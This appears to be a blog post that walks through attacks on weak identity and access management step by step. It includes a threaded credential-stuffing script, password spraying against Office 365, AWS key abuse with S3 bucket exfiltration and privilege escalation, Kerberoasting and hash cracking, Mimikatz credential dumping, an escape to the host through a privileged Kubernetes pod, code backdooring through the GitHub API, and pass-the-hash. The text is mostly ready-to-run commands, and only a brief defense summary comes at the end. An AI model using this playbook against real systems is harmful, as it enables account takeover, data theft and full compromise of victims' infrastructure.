How Hackers Exploit Inadequate IAM: A Practical Step-by-Step Attack Walkthrough

 

Introduction

Understanding how hackers practically exploit inadequate Identity and Access Management (IAM) requires examining real attack workflows from initial reconnaissance to full system compromise. This technical analysis walks through actual methodologies, tools, and command sequences that attackers use to exploit IAM weaknesses. By understanding the practical execution of these attacks, security professionals can better defend their infrastructure.

Phase 1: Initial Reconnaissance and Credential Discovery

Scanning for Exposed Credentials

Hackers begin by searching for exposed credentials across multiple sources. The first target is public code repositories. Using automated tools, attackers scan GitHub, GitLab, and Bitbucket for exposed secrets.

Practical Execution:

First, the attacker clones TruffleHog, a credential scanning tool:

git clone https://github.com/trufflesecurity/trufflehog.git
cd trufflehog

They scan target organization repositories:

trufflehog git https://github.com/target-company/application --regex --entropy=True

TruffleHog identifies patterns matching AWS keys (AKIA...), Azure connection strings, database passwords, and API tokens. The entropy flag detects high-randomness strings that resemble secrets even without regex matches.

Attackers also search GitHub directly using advanced queries:

org:target-company "AWS_ACCESS_KEY_ID"
org:target-company "password" extension:env
org:target-company "api_key" extension:js

Scraping Employee Information

Hackers collect employee emails and usernames for credential stuffing attacks. They use tools like theHarvester:

theHarvester -d target-company.com -b google,linkedin,bing -l 500

This extracts email addresses from search engines and LinkedIn. The attacker compiles a username list from email prefixes and common naming conventions (firstname.lastname, firstinitiallastname).

Phase 2: Credential Stuffing and Password Spraying

Setting Up the Attack Infrastructure

With username lists compiled, attackers launch credential stuffing using previously breached password databases. They download breach compilations from darknet forums containing billions of username-password combinations.

Practical Attack Execution:

Using a custom Python script with threading for speed:

import requests
import concurrent.futures
from itertools import repeat

def attempt_login(username, password, session):
    url = "https://target-company.com/api/login"
    payload = {
        "username": username,
        "password": password
    }
    
    try:
        response = session.post(url, json=payload, timeout=10)
        if response.status_code == 200 and "token" in response.json():
            print(f"[SUCCESS] {username}:{password}")
            with open("valid_creds.txt", "a") as f:
                f.write(f"{username}:{password}\n")
            return True
    except:
        pass
    return False

# Load credentials
with open("credentials.txt", "r") as f:
    creds = [line.strip().split(":") for line in f]

session = requests.Session()

# Parallel execution
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
    executor.map(lambda x: attempt_login(x[0], x[1], session), creds)

The script tests credentials at 50 concurrent threads, quickly identifying valid combinations. Rate limiting is bypassed using rotating proxy pools and distributed attack infrastructure.

Password Spraying Against Office 365

For password spraying, attackers target common weak passwords against all user accounts. Using MSOLSpray tool:

Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\emails.txt -Password "Winter2024!" -Verbose

The tool tests one password against all accounts, waiting between attempts to avoid detection. Common passwords include:

  • Company name + current year + !
  • Season + year + !
  • Password123!
  • Welcome2024!

Phase 3: AWS IAM Exploitation After Key Compromise

Testing Compromised AWS Credentials

Once AWS access keys are discovered, attackers immediately test their validity and enumerate permissions.

Step-by-Step Practical Attack:

Configure the compromised credentials:

aws configure --profile compromised
# Enter AWS Access Key ID
# Enter AWS Secret Access Key
# Default region: us-east-1

Identify the compromised identity:

aws sts get-caller-identity --profile compromised

Output reveals:

{
    "UserId": "AIDAI23EXAMPLE",
    "Account": "123456789012",
    "Arn": "arn:aws:iam::123456789012:user/developer-john"
}

Enumerate attached policies:

aws iam list-attached-user-policies --user-name developer-john --profile compromised
aws iam list-user-policies --user-name developer-john --profile compromised

Get policy details:

aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/DeveloperAccess --version-id v1 --profile compromised

Exploiting Overly Permissive S3 Policies

If the policy grants S3 access, attackers list all buckets:

aws s3 ls --profile compromised

Sync entire buckets to local storage:

aws s3 sync s3://company-backups ./exfiltrated-data --profile compromised

This downloads all objects including database dumps, configuration files, and sensitive documents.

Privilege Escalation Through IAM

Attackers check for privilege escalation opportunities:

aws iam create-access-key --user-name admin-user --profile compromised

If successful, this creates new credentials for a more privileged account. Attackers also test:

aws iam attach-user-policy --user-name developer-john --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile compromised

If the compromised account has iam:AttachUserPolicy permissions, they escalate to full administrator access.

Phase 4: Active Directory Kerberoasting Attack

Establishing Initial Foothold

After compromising a domain user account through phishing or password spraying, attackers pivot to Kerberoasting to crack service account passwords.

Practical Attack Execution from Linux:

Using Impacket's GetUserSPNs.py script:

GetUserSPNs.py domain.local/compromised-user:password -dc-ip 10.0.0.5 -request

The tool queries Active Directory for accounts with Service Principal Names (SPNs) and requests TGS tickets encrypted with service account password hashes.

Output shows:

ServicePrincipalName          Name        MemberOf
----------------------------  ----------  --------
MSSQLSvc/db01.domain.local    sql-service Domain Admins
HTTP/webapp.domain.local      web-service IT-Admins

$krb5tgs$23$*sql-service$domain.local$MSSQLSvc/db01.domain.local*$a1b2c3d4...

Cracking Service Account Passwords

Save the hash to a file and crack using Hashcat:

hashcat -m 13100 spn-hashes.txt rockyou.txt --force

Hashcat mode 13100 targets Kerberos 5 TGS-REP etype 23. On a system with multiple GPUs, cracking speeds reach billions of hashes per second for weak passwords.

Within minutes to hours, Hashcat reveals:

$krb5tgs$23$*sql-service....:ServiceAccount2023!

Lateral Movement with Compromised Service Account

Attackers use the cracked service account credentials to access additional systems:

psexec.py domain.local/sql-service:ServiceAccount2023!@db01.domain.local

This provides command shell access to the database server. From here, attackers dump credentials from LSASS memory using Mimikatz:

sekurlsa::logonpasswords

This extracts NTLM hashes and Kerberos tickets from memory, enabling further lateral movement.

Phase 5: Kubernetes RBAC Exploitation

Discovering Overly Permissive Service Accounts

When attackers compromise a Kubernetes pod, they first check the mounted service account token:

cat /var/run/secrets/kubernetes.io/serviceaccount/token

Export this token as environment variable:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

Test permissions against the Kubernetes API:

kubectl auth can-i --list --token=$TOKEN

If output shows broad permissions like create pods, get secrets, or create clusterrolebindings, privilege escalation is possible.

Privilege Escalation to Cluster Admin

Create a privileged pod that mounts the host filesystem:

cat <<EOF | kubectl apply -f - --token=$TOKEN
apiVersion: v1
kind: Pod
metadata:
  name: attacker-pod
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: attacker
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", "sleep 3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

Execute into the privileged container:

kubectl exec -it attacker-pod --token=$TOKEN -- /bin/sh

From inside, access the host filesystem:

chroot /host

Now with root access to the node, extract credentials from etcd, access kubelet certificates, and compromise the entire cluster.

Phase 6: API Token Abuse and Scope Escalation

Testing Discovered API Tokens

When attackers find API tokens in source code or logs, they immediately test their scope and permissions.

For AWS Tokens:

aws sts get-caller-identity --profile test-token
aws iam list-attached-user-policies --user-name discovered-user --profile test-token

For Google Cloud Tokens:

curl -H "Authorization: Bearer $TOKEN" https://oauth2.googleapis.com/tokeninfo
gcloud auth activate-service-account --key-file=discovered-key.json
gcloud projects list

For GitHub Personal Access Tokens:

curl -H "Authorization: token ghp_discovered_token" https://api.github.com/user
curl -H "Authorization: token ghp_discovered_token" https://api.github.com/user/repos

Exploiting Excessive Token Permissions

If tokens have write access, attackers inject backdoors:

# Create malicious branch in GitHub
curl -X POST -H "Authorization: token ghp_token" \
  https://api.github.com/repos/target/app/git/refs \
  -d '{"ref":"refs/heads/backdoor","sha":"commit_hash"}'

# Modify application code
curl -X PUT -H "Authorization: token ghp_token" \
  https://api.github.com/repos/target/app/contents/config.js \
  -d '{"message":"update config","content":"base64_encoded_backdoor_code","sha":"file_sha"}'

Phase 7: Pass-the-Hash and Pass-the-Ticket Attacks

Extracting Credentials from Memory

After gaining local admin access on a Windows system, attackers use Mimikatz:

privilege::debug
sekurlsa::logonpasswords

Output includes:

Authentication Id : 0 ; 287456
User Name         : admin-account
Domain            : DOMAIN
NTLM              : a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

Using Pass-the-Hash for Authentication

Without cracking the password, attackers authenticate using the NTLM hash:

pth-winexe -U domain/admin-account%a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6 //10.0.0.10 cmd.exe

Or using Impacket's psexec:

psexec.py -hashes a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6:a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6 domain/admin-account@10.0.0.10

This provides command shell access to the remote system without knowing the plaintext password.

Detection and Defense Mechanisms

Organizations can detect these attacks through comprehensive monitoring including failed authentication attempt tracking, unusual API call patterns, credential usage from unexpected geolocations, service account logins from workstations, AWS CloudTrail monitoring for privilege escalation attempts, and Kubernetes audit log analysis for suspicious pod creations.

Implementing technical controls requires enforcing MFA on all accounts, applying least privilege principles, rotating credentials regularly, using just-in-time access provisioning, implementing conditional access policies, deploying PAM solutions for privileged accounts, and maintaining comprehensive audit logging.

Conclusion

Understanding the practical execution of IAM exploitation attacks reveals the critical importance of robust identity and access management. Attackers follow systematic methodologies from credential discovery through privilege escalation and lateral movement. Each phase builds on previous access, exploiting inadequate IAM implementations to achieve full system compromise. Security teams must implement defense-in-depth strategies, combining preventive controls, detection mechanisms, and incident response capabilities to protect against these sophisticated attack techniques.

Comments

Popular posts from this blog

XML External Entity (XXE) Injection: Exploiting XML Parsers for Data Exfiltration and System Compromise

SMTP Smuggling: smtp-smuggling-attack-bypass-spf-dkim-dmarc